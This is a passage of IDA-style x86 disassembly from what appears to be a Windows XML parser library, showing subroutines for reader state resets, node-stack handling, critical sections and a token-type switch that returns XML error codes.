loc_69B3833D: ; CODE XREF: sub_69B38236+A8j
mov [edi], eax
jnz short loc_69B38365
mov dword ptr [ebp-1Ch], 8007000Eh
jmp short loc_69B38365
; ---------------------------------------------------------------------------
loc_69B3834A: ; DATA XREF: .text:69B383A0o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B38353: ; CODE XREF: sub_69B38236:loc_69B382E9j
; DATA XREF: .text:69B383A4o
mov esp, [ebp-18h]
call sub_69B2E808
mov ecx, eax
call sub_69B2E804
mov [ebp-1Ch], eax
loc_69B38365: ; CODE XREF: sub_69B38236+109j
; sub_69B38236+112j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B38369: ; CODE XREF: sub_69B38236+67j
; sub_69B38236+74j
push dword ptr [ebp-30h] ; lpCriticalSection
call ds:LeaveCriticalSection
lea ecx, [ebp-2Ch]
call sub_69B1976C
push dword ptr [ebp-20h]
call dword_69B92944
mov eax, [ebp-1Ch]
loc_69B38386: ; CODE XREF: sub_69B38236+23j
call sub_69B1853C
retn 8
sub_69B38236 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B38390 dd 0FFFFFFFFh dd offset loc_69B382E0
dd offset loc_69B382E9
dd 0FFFFFFFFh
dd offset loc_69B3834A
dd offset loc_69B38353
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B383A8 proc near ; DATA XREF: .text:off_69B276E4o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
mov esi, ecx
cmp byte ptr [esi+28h], 0
jz short loc_69B383C3
test byte ptr [esi+1Bh], 10h
jz loc_69B38457
loc_69B383C3: ; CODE XREF: sub_69B383A8+Fj
push ebx
push edi
push [ebp+arg_0]
lea edi, [esi-10h]
mov ecx, edi
call sub_69B37ABC
mov ebx, eax
test ebx, ebx
jz short loc_69B383FD
mov ecx, [ebx+8]
test ecx, ecx
jz short loc_69B383FD
call sub_69B36515
test eax, eax
mov [ebp+var_4], eax
jge short loc_69B383FB
cmp eax, 8000000Ah
jz short loc_69B383F9
mov ecx, [ebx+8]
mov byte ptr [ecx+43h], 1
loc_69B383F9: ; CODE XREF: sub_69B383A8+48j
test eax, eax
loc_69B383FB: ; CODE XREF: sub_69B383A8+41j
jnz short loc_69B3840C
loc_69B383FD: ; CODE XREF: sub_69B383A8+2Ej
; sub_69B383A8+35j
cmp [ebp+arg_4], 0
jnz short loc_69B3840C
mov eax, [esi+4Ch]
cmp byte ptr [eax+0Ch], 0
jz short loc_69B38455
loc_69B3840C: ; CODE XREF: sub_69B383A8:loc_69B383FBj
; sub_69B383A8+59j
cmp byte ptr [esi+15h], 0
jnz short loc_69B38455
test ebx, ebx
jz short loc_69B38455
cmp [esi+4Ch], ebx
jnz short loc_69B38455
mov eax, [edi]
push edi
call dword ptr [eax+4]
mov eax, [edi]
push 0FFFFFFFFh
push edi
call dword ptr [eax+60h]
test eax, eax
mov [ebp+var_4], eax
jz short loc_69B3844F
cmp eax, 8000000Ah
jz short loc_69B3844F
cmp eax, 0C00CE551h
jz short loc_69B3844F
cmp eax, 0C00CE550h
jz short loc_69B3844F
mov [esi+0Ch], eax
mov [ebp+var_4], 80004004h
loc_69B3844F: ; CODE XREF: sub_69B383A8+86j
; sub_69B383A8+8Dj ...
mov eax, [edi]
push edi
call dword ptr [eax+8]
loc_69B38455: ; CODE XREF: sub_69B383A8+62j
; sub_69B383A8+68j ...
pop edi
pop ebx
loc_69B38457: ; CODE XREF: sub_69B383A8+15j
mov eax, [ebp+var_4]
pop esi
leave
retn 8
sub_69B383A8 endp
; =============== S U B R O U T I N E =======================================
sub_69B3845F proc near ; CODE XREF: sub_69B3894B+B3p
; sub_69B39730+147p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push [esp+8+arg_0]
mov edi, ecx
call sub_69B36811
mov esi, eax
test esi, esi
jnz short loc_69B38479
mov eax, 8007000Eh
jmp short loc_69B384AE
; ---------------------------------------------------------------------------
loc_69B38479: ; CODE XREF: sub_69B3845F+11j
test byte ptr [edi+2Bh], 10h
jz short loc_69B38483
mov byte ptr [esi+43h], 0
loc_69B38483: ; CODE XREF: sub_69B3845F+1Ej
mov eax, [edi+5Ch]
push esi
add eax, 8
push eax
call sub_69B17320
mov eax, [esi]
push esi
call dword ptr [eax+8]
push [esp+8+arg_4]
mov ecx, [edi+14h]
push esi
call sub_69B3592B
cmp eax, 8000000Ah
jnz short loc_69B384AE
mov byte ptr [edi+24h], 1
loc_69B384AE: ; CODE XREF: sub_69B3845F+18j
; sub_69B3845F+49j
pop edi
pop esi
retn 8
sub_69B3845F endp
; =============== S U B R O U T I N E =======================================
sub_69B384B3 proc near ; CODE XREF: sub_69B38726+75p
; sub_69B38A09+68Ap ...
push ebx
push ebp
push esi
mov esi, ecx
mov eax, [esi+5Ch]
xor ebx, ebx
xor ebp, ebp
cmp eax, ebx
jz short loc_69B38528
cmp [eax], ebx
jz short loc_69B384EB
mov ecx, [eax]
push edi
call sub_69B35905
mov eax, [esi+5Ch]
mov edi, [eax]
cmp edi, ebx
jz short loc_69B384E5
mov ecx, edi
call sub_69B32133
push edi
call sub_69B1B2B7
loc_69B384E5: ; CODE XREF: sub_69B384B3+23j
mov eax, [esi+5Ch]
mov [eax], ebx
pop edi
loc_69B384EB: ; CODE XREF: sub_69B384B3+12j
mov eax, [esi+5Ch]
push ebx
add eax, 8
push eax
call sub_69B17320
mov eax, [esi+5Ch]
mov ecx, [eax+4]
cmp ecx, ebx
jz short loc_69B38507
call sub_69B3A12F
loc_69B38507: ; CODE XREF: sub_69B384B3+4Dj
mov eax, [esi+5Ch]
push ebx
add eax, 4
push eax
call sub_69B17320
mov eax, [esi+5Ch]
mov al, [eax+11h]
lea ecx, [esi+48h]
mov [esi+3Eh], al
call sub_69B31F0D
mov [esi+5Ch], eax
loc_69B38528: ; CODE XREF: sub_69B384B3+Ej
mov eax, [esi+5Ch]
cmp eax, ebx
jz short loc_69B38550
cmp [eax], ebx
jz short loc_69B38538
mov ecx, [eax]
mov [esi+14h], ecx
loc_69B38538: ; CODE XREF: sub_69B384B3+7Ej
mov eax, [eax+4]
cmp eax, ebx
jz short loc_69B38556
mov eax, [eax+28h]
push dword ptr [eax+8] ; lpString
mov ecx, esi
call sub_69B3745D
mov ebp, eax
jmp short loc_69B38556
; ---------------------------------------------------------------------------
loc_69B38550: ; CODE XREF: sub_69B384B3+7Aj
xor ebp, ebp
mov [esi+14h], ebx
inc ebp
loc_69B38556: ; CODE XREF: sub_69B384B3+8Aj
; sub_69B384B3+9Bj
cmp [esi+68h], ebx
jnz short loc_69B38565
cmp dword ptr [esi+50h], 1
jnz short loc_69B38565
mov byte ptr [esi+3Dh], 1
loc_69B38565: ; CODE XREF: sub_69B384B3+A6j
; sub_69B384B3+ACj
pop esi
mov eax, ebp
pop ebp
pop ebx
retn
sub_69B384B3 endp
; =============== S U B R O U T I N E =======================================
sub_69B3856B proc near ; CODE XREF: sub_69B38A09+5E5p
push 14h
push offset dword_69B38688
call sub_69B19C5C
mov ebx, ecx
xor edi, edi
mov [ebp-1Ch], edi
mov eax, [ebx+78h]
cmp eax, edi
jz loc_69B38671
cmp [ebx+68h], edi
jz loc_69B38671
mov ecx, [ebp+0Ch]
cmp ecx, edi
jz loc_69B3863B
cmp [eax+14h], ecx
jnz short loc_69B385C8
add ecx, ecx
mov edi, [ebp+8]
mov esi, [eax+10h]
xor edx, edx
repe cmpsb
jz short loc_69B385CF
cmp [ebx+2Ch], dl
jz short loc_69B385C8
push dword ptr [ebp+0Ch] ; nChar
push dword ptr [ebp+8] ; lpStr2
push dword ptr [eax+10h] ; lpStr1
call ds:StrCmpNIW ; StrCmpNIW
test eax, eax
jz short loc_69B385CF
loc_69B385C8: ; CODE XREF: sub_69B3856B+35j
; sub_69B3856B+48j
mov dword ptr [ebp-1Ch], 0C00CE56Dh
loc_69B385CF: ; CODE XREF: sub_69B3856B+43j
; sub_69B3856B+5Bj
xor edi, edi
cmp [ebp-1Ch], edi
jz short loc_69B3863B
mov [ebp-4], edi
mov esi, [ebx+78h]
push edi
push dword ptr [ebp+0Ch]
push edi
push dword ptr [ebp+8]
call sub_69B190A9
push eax
push dword ptr [esi+14h]
push edi
push dword ptr [esi+10h]
call sub_69B190A9
push eax
push dword ptr [ebp-1Ch]
call sub_69B2F944
add esp, 10h
mov [ebp-20h], eax
mov ecx, [eax+0Ch]
mov [ebp-24h], ecx
push dword ptr [eax+8] ; UINT
push ecx ; OLECHAR *
call SysAllocStringLen
mov [ebx+20h], eax
loc_69B38618: ; CODE XREF: sub_69B3856B+CEj
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B38678
; ---------------------------------------------------------------------------
loc_69B3861E: ; DATA XREF: .text:69B3868Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B38627: ; DATA XREF: .text:69B38690o
mov esp, [ebp-18h]
call sub_69B2E808
mov ecx, eax
call sub_69B2E804
mov [ebp-1Ch], eax
jmp short loc_69B38618
; ---------------------------------------------------------------------------
loc_69B3863B: ; CODE XREF: sub_69B3856B+2Cj
; sub_69B3856B+69j
lea ecx, [ebx+60h]
call sub_69B31F0D
mov [ebx+78h], eax
dec word ptr [ebx+86h]
cmp eax, edi
jnz short loc_69B38666
mov eax, [ebx+18h]
mov [ebx+88h], eax
cmp dword ptr [ebx+50h], 1
jnz short loc_69B38678
mov byte ptr [ebx+3Dh], 1
jmp short loc_69B38678
; ---------------------------------------------------------------------------
loc_69B38666: ; CODE XREF: sub_69B3856B+E4j
mov eax, [eax+1Ch]
mov [ebx+88h], eax
jmp short loc_69B38678
; ---------------------------------------------------------------------------
loc_69B38671: ; CODE XREF: sub_69B3856B+18j
; sub_69B3856B+21j
mov dword ptr [ebp-1Ch], 0C00CE552h
loc_69B38678: ; CODE XREF: sub_69B3856B+B1j
; sub_69B3856B+F3j ...
mov eax, [ebp-1Ch]
call sub_69B1853C
retn 8
sub_69B3856B endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 8
dword_69B38688 dd 0FFFFFFFFh dd offset loc_69B3861E
dd offset loc_69B38627
; =============== S U B R O U T I N E =======================================
sub_69B38694 proc near ; CODE XREF: sub_69B38A09+116p
; sub_69B38A09+53Cp
push esi
mov esi, ecx
lea ecx, [esi+60h]
call sub_69B31F0D
dec word ptr [esi+86h]
test eax, eax
mov [esi+78h], eax
jnz short loc_69B386C2
cmp dword ptr [esi+50h], 1
mov eax, [esi+18h]
mov [esi+88h], eax
jnz short loc_69B386CB
mov byte ptr [esi+3Dh], 1
jmp short loc_69B386CB
; ---------------------------------------------------------------------------
loc_69B386C2: ; CODE XREF: sub_69B38694+17j
mov eax, [eax+1Ch]
mov [esi+88h], eax
loc_69B386CB: ; CODE XREF: sub_69B38694+26j
; sub_69B38694+2Cj
xor eax, eax
pop esi
retn
sub_69B38694 endp
; =============== S U B R O U T I N E =======================================
sub_69B386CF proc near ; CODE XREF: sub_69B3888E+7p
; sub_69B38A09+5B3p
push esi
mov esi, ecx
lea ecx, [esi+60h]
call sub_69B31F0D
dec word ptr [esi+86h]
dec word ptr [esi+7Ch]
mov [esi+78h], eax
pop esi
retn
sub_69B386CF endp
; =============== S U B R O U T I N E =======================================
sub_69B386EA proc near ; CODE XREF: sub_69B38A09+31Bp
; sub_69B38A09+54Dp ...
push esi
push edi
mov esi, ecx
push dword ptr [esi+78h]
mov eax, [esi+8Ch]
mov ecx, [eax]
push 1
push esi
push eax
call dword ptr [ecx+14h]
lea ecx, [esi+60h]
mov edi, eax
mov byte ptr [esi+3Bh], 0
call sub_69B31F0D
dec word ptr [esi+86h]
mov [esi+78h], eax
mov eax, [eax+1Ch]
mov [esi+88h], eax
mov eax, edi
pop edi
pop esi
retn
sub_69B386EA endp
; =============== S U B R O U T I N E =======================================
sub_69B38726 proc near ; CODE XREF: sub_69B388A5+32p
; sub_69B3937E+2Bp ...
push ebx
push esi
push edi
mov esi, ecx
lea edi, [esi+90h]
push edi ; lpCriticalSection
call ds:EnterCriticalSection
mov eax, [esi+18h]
xor ebx, ebx
cmp [esi+78h], ebx
mov [esi+1Ch], ebx
mov [esi+25h], bl
mov [esi+88h], eax
mov [esi+27h], bl
mov [esi+26h], bl
mov [esi+24h], bl
mov [esi+3Ah], bl
mov [esi+3Eh], bl
mov [esi+14h], ebx
mov [esi+2Fh], bl
mov [esi+34h], ebx
mov [esi+3Ch], bl
mov byte ptr [esi+3Dh], 1
mov [esi+7Ch], bx
mov [esi+3Bh], bl
mov [esi+3Fh], bl
mov [esi+40h], bl
jz short loc_69B3878D
push ebp
lea ebp, [esi+60h]
loc_69B3877E: ; CODE XREF: sub_69B38726+64j
mov ecx, ebp
call sub_69B31F0D
cmp eax, ebx
mov [esi+78h], eax
jnz short loc_69B3877E
pop ebp
loc_69B3878D: ; CODE XREF: sub_69B38726+52j
mov [esi+86h], bx
mov [esi+74h], ebx
jmp short loc_69B387A0
; ---------------------------------------------------------------------------
loc_69B38799: ; CODE XREF: sub_69B38726+7Dj
mov ecx, esi
call sub_69B384B3
loc_69B387A0: ; CODE XREF: sub_69B38726+71j
cmp [esi+5Ch], ebx
jnz short loc_69B38799
push edi ; lpCriticalSection
mov [esi+78h], ebx
call ds:LeaveCriticalSection
pop edi
pop esi
xor eax, eax
pop ebx
retn
sub_69B38726 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B38858
loc_69B387B5: ; CODE XREF: sub_69B38858+Dj
push esi
mov esi, ecx
call sub_69B3677A
push [esp+4+arg_0]
lea ecx, [esi+10h]
mov dword ptr [esi], offset off_69B122E0
mov dword ptr [esi+4], offset off_69B27784
call sub_69B1E084
mov eax, esi
pop esi
retn 4
; END OF FUNCTION CHUNK FOR sub_69B38858
; =============== S U B R O U T I N E =======================================
sub_69B387DC proc near ; DATA XREF: .text:69B122ECo
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
mov eax, [esp+4+arg_0]
push [esp+4+arg_8]
mov eax, [eax+10h]
push [esp+8+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+0Ch]
retn 10h
sub_69B387DC endp
; =============== S U B R O U T I N E =======================================
sub_69B387F8 proc near ; DATA XREF: .text:69B122F0o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
mov eax, [esp+4+arg_0]
push [esp+4+arg_8]
mov eax, [eax+10h]
push [esp+8+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+10h]
retn 10h
sub_69B387F8 endp
; ---------------------------------------------------------------------------
loc_69B38814: ; DATA XREF: .text:off_69B27784o
push esi
mov esi, ecx
call sub_69B38833
test byte ptr [esp+8], 1
jz short loc_69B3882C
lea eax, [esi-4]
push eax
call sub_69B1B2B7
loc_69B3882C: ; CODE XREF: .text:69B38821j
lea eax, [esi-4]
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_69B38833 proc near ; CODE XREF: .text:69B38817p
push esi
lea esi, [ecx+0Ch]
push 0
push esi
mov dword ptr [ecx-4], offset off_69B122E0
mov dword ptr [ecx], offset off_69B27784
call sub_69B17320
push esi
call sub_69B17230
pop esi
jmp sub_69B2C65C
sub_69B38833 endp
; =============== S U B R O U T I N E =======================================
sub_69B38858 proc near ; CODE XREF: sub_69B39730+134p
; sub_69B4311C+F1p ...
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 69B387B5 SIZE 00000027 BYTES
push 14h
call sub_69B11E44
test eax, eax
jz short loc_69B3886A
mov ecx, eax
jmp loc_69B387B5
; ---------------------------------------------------------------------------
loc_69B3886A: ; CODE XREF: sub_69B38858+9j
xor eax, eax
retn 4
sub_69B38858 endp
; =============== S U B R O U T I N E =======================================
sub_69B3886F proc near ; DATA XREF: .text:off_69B276F0o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B3813A
test [esp+4+arg_0], 1
jz short loc_69B38887
lea eax, [esi-4]
push eax
call sub_69B1B2B7
loc_69B38887: ; CODE XREF: sub_69B3886F+Dj
lea eax, [esi-4]
pop esi
retn 4
sub_69B3886F endp
; =============== S U B R O U T I N E =======================================
sub_69B3888E proc near ; CODE XREF: sub_69B38A09+480p
; sub_69B38A09+4ECp
push esi
mov esi, ecx
jmp short loc_69B3889A
; ---------------------------------------------------------------------------
loc_69B38893: ; CODE XREF: sub_69B3888E+11j
mov ecx, esi
call sub_69B386CF
loc_69B3889A: ; CODE XREF: sub_69B3888E+3j
cmp word ptr [esi+7Ch], 0
ja short loc_69B38893
xor eax, eax
pop esi
retn
sub_69B3888E endp
; =============== S U B R O U T I N E =======================================
sub_69B388A5 proc near ; DATA XREF: .text:69B27764o
var_4 = dword ptr -4
arg_0 = dword ptr 4
push ecx
push ebp
call dword_69B92948
xor ebp, ebp
cmp eax, ebp
mov [esp+8+var_4], eax
jnz short loc_69B388C1
mov eax, 80004005h
jmp loc_69B38946
; ---------------------------------------------------------------------------
loc_69B388C1: ; CODE XREF: sub_69B388A5+10j
push ebx
push esi
mov esi, [esp+10h+arg_0]
push edi
lea ebx, [esi+90h]
push ebx ; lpCriticalSection
call ds:EnterCriticalSection
mov ecx, esi
call sub_69B38726
lea edi, [esi+0B0h]
push dword ptr [edi]
call sub_69B1B2B7
mov [edi], ebp
lea edi, [esi+0B4h]
push dword ptr [edi]
call sub_69B1B2B7
push ebp
lea eax, [esi+8Ch]
push eax
mov [edi], ebp
mov [esi+18h], ebp
call sub_69B17320
mov eax, [esi+20h]
cmp eax, ebp
mov edi, SysFreeString
mov [esi+88h], ebp
jz short loc_69B38920
push eax ; BSTR
call edi ; SysFreeString
loc_69B38920: ; CODE XREF: sub_69B388A5+76j
mov eax, [esi+44h]
cmp eax, ebp
mov [esi+20h], ebp
jz short loc_69B3892D
push eax ; BSTR
call edi ; SysFreeString
loc_69B3892D: ; CODE XREF: sub_69B388A5+83j
push ebx ; lpCriticalSection
mov [esi+44h], ebp
call ds:LeaveCriticalSection
push [esp+14h+var_4]
call dword_69B92944
pop edi
pop esi
xor eax, eax
pop ebx
loc_69B38946: ; CODE XREF: sub_69B388A5+17j
pop ebp
pop ecx
retn 4
sub_69B388A5 endp
; =============== S U B R O U T I N E =======================================
sub_69B3894B proc near ; CODE XREF: sub_69B39299+43p
; sub_69B3937E+9Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, ecx
lea ecx, [esi+48h]
call sub_69B318FB
xor ebx, ebx
cmp eax, ebx
mov [esi+5Ch], eax
jnz short loc_69B3896A
mov eax, 8007000Eh
jmp loc_69B38A04
; ---------------------------------------------------------------------------
loc_69B3896A: ; CODE XREF: sub_69B3894B+13j
cmp dword ptr [esi+50h], 1
jle short loc_69B38973
mov [esi+3Dh], bl
loc_69B38973: ; CODE XREF: sub_69B3894B+23j
push edi
mov edi, [esp+0Ch+arg_4]
mov [eax], edi
mov eax, [esi+5Ch]
mov [eax+0Dh], bl
mov eax, [esi+5Ch]
mov [eax+0Eh], bl
mov eax, [esi+5Ch]
mov [eax+10h], bl
mov eax, [esi+5Ch]
mov [eax+0Ch], bl
mov cl, [esi+3Eh]
mov eax, [esi+5Ch]
mov [eax+11h], cl
mov cl, [esi+3Ah]
mov eax, [esi+5Ch]
mov [eax+12h], cl
mov cl, [esi+3Ch]
mov eax, [esi+5Ch]
mov [eax+13h], cl
mov eax, [esi+5Ch]
mov cl, [esi+3Dh]
mov [eax+14h], cl
mov eax, [esi+5Ch]
mov ecx, [esi+68h]
mov [eax+18h], ecx
cmp [esi+68h], ebx
mov [esi+3Eh], bl
mov [esi+3Ah], bl
jnz short loc_69B389D5
cmp dword ptr [esi+50h], 1
jnz short loc_69B389D5
xor eax, eax
inc eax
jmp short loc_69B389D7
; ---------------------------------------------------------------------------
loc_69B389D5: ; CODE XREF: sub_69B3894B+7Dj
; sub_69B3894B+83j
xor eax, eax
loc_69B389D7: ; CODE XREF: sub_69B3894B+88j
mov [esi+3Dh], al
xor eax, eax
cmp [esp+0Ch+arg_0], ebx
jz short loc_69B38A03
mov eax, [esi+5Ch]
push [esp+0Ch+arg_0]
add eax, 4
push eax
call sub_69B17320
cmp edi, ebx
setz al
mov ecx, esi
push eax
push [esp+10h+arg_0]
call sub_69B3845F
loc_69B38A03: ; CODE XREF: sub_69B3894B+95j
pop edi
loc_69B38A04: ; CODE XREF: sub_69B3894B+1Aj
pop esi
pop ebx
retn 8
sub_69B3894B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B38A09 proc near ; DATA XREF: .text:69B27758o
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = byte ptr -3Ch
var_20 = byte ptr -20h
lpCriticalSection= dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_3 = byte ptr -3
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 60h
push ebx
call dword_69B92948
xor ebx, ebx
cmp eax, ebx
mov [ebp+var_10], eax
jnz short loc_69B38A29
mov eax, 80004005h
jmp loc_69B391D5
; ---------------------------------------------------------------------------
loc_69B38A29: ; CODE XREF: sub_69B38A09+14j
push esi
mov esi, [ebp+arg_0]
push edi
push dword ptr [esi+0A8h]
lea ecx, [ebp+var_20]
push [ebp+var_10]
call sub_69B1A8C7
lea eax, [esi+90h]
push eax ; lpCriticalSection
mov [ebp+lpCriticalSection], eax
call ds:EnterCriticalSection
push ebx
lea ecx, [ebp+var_3C]
call sub_69B2DC5B
xor edi, edi
cmp [esi+25h], bl
mov byte ptr [ebp+arg_0+3], bl
jz short loc_69B38A65
mov [esi+25h], bl
loc_69B38A65: ; CODE XREF: sub_69B38A09+57j
cmp [esi+8Ch], ebx
jnz short loc_69B38A77
mov edi, 80004005h
jmp loc_69B391AF
; ---------------------------------------------------------------------------
loc_69B38A77: ; CODE XREF: sub_69B38A09+62j
cmp [esi+26h], bl
jz short loc_69B38A86
mov edi, 0C00CE551h
jmp loc_69B391AF
; ---------------------------------------------------------------------------
loc_69B38A86: ; CODE XREF: sub_69B38A09+71j
cmp [esi+14h], ebx
jnz short loc_69B38A9D
mov esi, [esi+1Ch]
cmp esi, ebx
jz loc_69B390E5
mov edi, esi
jmp loc_69B391AF
; ---------------------------------------------------------------------------
loc_69B38A9D: ; CODE XREF: sub_69B38A09+80j
cmp [esi+39h], bl
jnz loc_69B391AA
cmp [ebp+arg_4], ebx
jz loc_69B391AA
mov byte ptr [esi+39h], 1
mov eax, [esi+1Ch]
cmp eax, ebx
jnz loc_69B390F9
cmp [esi+27h], bl
jnz short loc_69B38AE0
mov eax, [esi+8Ch]
push ebx
push esi
mov byte ptr [esi+27h], 1
mov ecx, [eax]
push eax
call dword ptr [ecx+0Ch]
cmp [esi+26h], bl
mov edi, eax
jnz loc_69B390E2
loc_69B38AE0: ; CODE XREF: sub_69B38A09+B8j
cmp [esi+3Fh], bl
mov [esi+24h], bl
jz short loc_69B38AFD
push dword ptr [esi+78h]
mov eax, [esi+8Ch]
push esi
mov [esi+3Fh], bl
mov ecx, [eax]
push eax
call dword ptr [ecx+10h]
mov edi, eax
loc_69B38AFD: ; CODE XREF: sub_69B38A09+DDj
cmp [esi+40h], bl
jz short loc_69B38B26
push dword ptr [esi+78h]
mov eax, [esi+8Ch]
push 1
push esi
mov [esi+40h], bl
mov ecx, [eax]
push eax
call dword ptr [ecx+14h]
mov edi, eax
cmp edi, ebx
jnz short loc_69B38B26
mov ecx, esi
call sub_69B38694
mov edi, eax
loc_69B38B26: ; CODE XREF: sub_69B38A09+F7j
; sub_69B38A09+112j
lea eax, [ebp+var_60]
mov [ebp+var_60], 24h
mov [ebp+var_5C], ebx
mov [ebp+var_58], ebx
mov [ebp+var_50], ebx
mov [ebp+var_4C], ebx
mov [ebp+var_48], ebx
mov [ebp+var_44], ebx
mov [ebp+var_40], ebx
mov [ebp+var_8], eax
mov byte ptr [ebp+arg_4+3], bl
loc_69B38B4B: ; CODE XREF: sub_69B38A09+6D3j
inc dword ptr [esi+30h]
jmp loc_69B39051
; ---------------------------------------------------------------------------
loc_69B38B53: ; CODE XREF: sub_69B38A09+64Aj
cmp [esi+25h], bl
jnz loc_69B3905F
mov ecx, [esi+14h]
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_4C]
push eax
lea eax, [ebp+var_50]
push eax
lea eax, [ebp+var_5C]
push eax
mov [ebp+var_58], ebx
call sub_69B354B1
mov edi, eax
cmp edi, 8000000Ah
jz loc_69B3905B
cmp [esi+3Eh], bl
mov eax, [ebp+var_5C]
jnz short loc_69B38B9F
cmp eax, ebx
jz short loc_69B38B9F
cmp eax, 12h
jz short loc_69B38B9F
cmp eax, 4
jz short loc_69B38B9F
mov byte ptr [esi+3Eh], 1
loc_69B38B9F: ; CODE XREF: sub_69B38A09+182j
; sub_69B38A09+186j ...
cmp eax, 46h ; switch 71 cases
ja loc_69B39044 ; default
; jumptable 69B38BAF cases 6,23,25,26
movzx ecx, ds:byte_69B39252[eax]
jmp ds:off_69B391DA[ecx*4] ; switch jump
loc_69B38BB6: ; DATA XREF: .text:off_69B391DAo
cmp edi, 0C00CE56Fh ; jumptable 69B38BAF case 0
jnz loc_69B39049
cmp [esi+0B8h], bl
jz loc_69B39049
xor edi, edi
jmp loc_69B39049
; ---------------------------------------------------------------------------
loc_69B38BD5: ; CODE XREF: sub_69B38A09+1A6j
; DATA XREF: .text:off_69B391DAo
cmp [esi+3Eh], bl ; jumptable 69B38BAF case 4
jz short loc_69B38BDF
cmp [esi+41h], bl
jz short loc_69B38BEC
loc_69B38BDF: ; CODE XREF: sub_69B38A09+1CFj
mov ecx, [esi+5Ch]
cmp [ecx+0Eh], bl
jz short loc_69B38C65 ; jumptable 69B38BAF cases 1,3
cmp [ecx+10h], bl
jz short loc_69B38C65 ; jumptable 69B38BAF cases 1,3
loc_69B38BEC: ; CODE XREF: sub_69B38A09+1D4j
mov edi, 0C00CE557h
jmp loc_69B39049
; ---------------------------------------------------------------------------
loc_69B38BF6: ; CODE XREF: sub_69B38A09+1A6j
; DATA XREF: .text:off_69B391DAo
push 2 ; jumptable 69B38BAF case 28
pop eax
mov [ebp+var_58], 1Ch
mov [ebp+var_5C], eax
mov byte ptr [esi+2Fh], 1
jmp short loc_69B38C61 ; jumptable 69B38BAF case 2
; ---------------------------------------------------------------------------
loc_69B38C09: ; CODE XREF: sub_69B38A09+1A6j
; DATA XREF: .text:off_69B391DAo
cmp [esi+2Fh], bl ; jumptable 69B38BAF cases 29,30
jnz short loc_69B38C1E
cmp dword ptr [esi+50h], 1
jnz short loc_69B38C1E
mov edi, 0C00CE569h
jmp loc_69B39049
; ---------------------------------------------------------------------------
loc_69B38C1E: ; CODE XREF: sub_69B38A09+203j
; sub_69B38A09+209j
cmp eax, 1Eh
jnz short loc_69B38C33 ; jumptable 69B38BAF cases 32,33
cmp dword ptr [esi+50h], 1
jle short loc_69B38C33 ; jumptable 69B38BAF cases 32,33
mov edi, 0C00CE57Ah
jmp loc_69B39049
; ---------------------------------------------------------------------------
loc_69B38C33: ; CODE XREF: sub_69B38A09+1A6j
; sub_69B38A09+218j ...
push 2 ; jumptable 69B38BAF cases 32,33
mov [ebp+var_58], eax
pop eax
mov [ebp+var_5C], eax
jmp short loc_69B38C61 ; jumptable 69B38BAF case 2
; ---------------------------------------------------------------------------
loc_69B38C3E: ; CODE XREF: sub_69B38A09+1A6j
; DATA XREF: .text:off_69B391DAo
mov eax, [esi+74h] ; jumptable 69B38BAF case 31
imul eax, [esi+60h]
mov ecx, [esi+64h]
mov [ebp+var_5C], 2
mov [ebp+var_58], 1Fh
mov dword ptr [eax+ecx+20h], 1
mov eax, [ebp+var_5C]
loc_69B38C61: ; CODE XREF: sub_69B38A09+1A6j
; sub_69B38A09+1FEj ...
mov byte ptr [ebp+arg_0+3], 1 ; jumptable 69B38BAF case 2
loc_69B38C65: ; CODE XREF: sub_69B38A09+1A6j
; sub_69B38A09+1DCj ...
cmp [esi+3Dh], bl ; jumptable 69B38BAF cases 1,3
jz short loc_69B38C96
cmp eax, 1
jnz short loc_69B38C83
cmp [esi+3Ah], bl
jnz short loc_69B38C79
mov [esi+3Ah], al
jmp short loc_69B38C96
; ---------------------------------------------------------------------------
loc_69B38C79: ; CODE XREF: sub_69B38A09+269j
mov edi, 0C00CE555h
jmp loc_69B39049
; ---------------------------------------------------------------------------
loc_69B38C83: ; CODE XREF: sub_69B38A09+264j
cmp eax, 3
jz short loc_69B38C96
cmp eax, 4
jz short loc_69B38C96
cmp eax, 5
jnz loc_69B38DF4
loc_69B38C96: ; CODE XREF: sub_69B38A09+25Fj
; sub_69B38A09+26Ej ...
cmp byte ptr [ebp+arg_0+3], bl
lea eax, [ebp+var_60]
mov [ebp+var_54], ebx
mov ecx, esi
push eax
jz short loc_69B38CBB
call sub_69B37C12
mov edi, eax
cmp edi, ebx
jnz loc_69B39049
mov byte ptr [ebp+arg_0+3], bl
jmp loc_69B39049
; ---------------------------------------------------------------------------
loc_69B38CBB: ; CODE XREF: sub_69B38A09+299j
call sub_69B37B4D
jmp loc_69B39040
; ---------------------------------------------------------------------------
